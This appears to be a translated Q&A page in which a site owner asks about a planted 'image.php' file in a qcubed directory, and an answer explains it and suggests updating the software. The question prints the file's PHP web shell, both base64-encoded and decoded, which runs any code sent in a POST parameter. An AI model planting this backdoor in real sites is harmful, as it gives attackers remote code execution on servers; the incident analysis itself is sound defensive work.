Что делает eval на base64 закодированной переменной $ _POST ?

Хорошо, вот что я искал в Google:

Кажется, есть загруженный файл с именем «image.php», который загружается в каталог qcubed.

Этот файл image.php содержит следующий код base64:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw== 

декодированный он добавляет к этому:

 if(isset($_POST['e'])) eval(base64_decode($_POST['e'])); echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032'; 

В поисках исходной строки я нашел simillar qcubed уязвимости на других сайтах.

Декодирование последней эхо-строки, которую я получил:

 196.231-172.28:ifacermpubmice:afac42eri02 

Который я действительно не понимаю, что он делает (используя: http://ostermiller.org/calc/encode.html ).

Не могли бы вы объяснить мне, что конкретно я здесь? Какую уязвимость безопасности я должен указать, чтобы исправить это?

Related of "Что делает eval на base64 закодированной переменной $ _POST ?"

Скрипт выполнит любой PHP-код, полученный из переменной e POST, что, конечно же, является ужасной и опасной уязвимостью.

Оператор echo может быть подтверждением того, что атакующий скрипт установил правильную версию или что-то в этом роде.

Однако это опасно, только если файл image.php может быть выполнен в этом каталоге. Трудно дать совет о том, что делать, не зная, как файл попал туда, в первую очередь.

Скорее всего, сценарий kiddie использовал эксплойт, чтобы проникнуть на ваш сайт. Убедитесь, что ваше приложение и библиотеки PHP обновлены.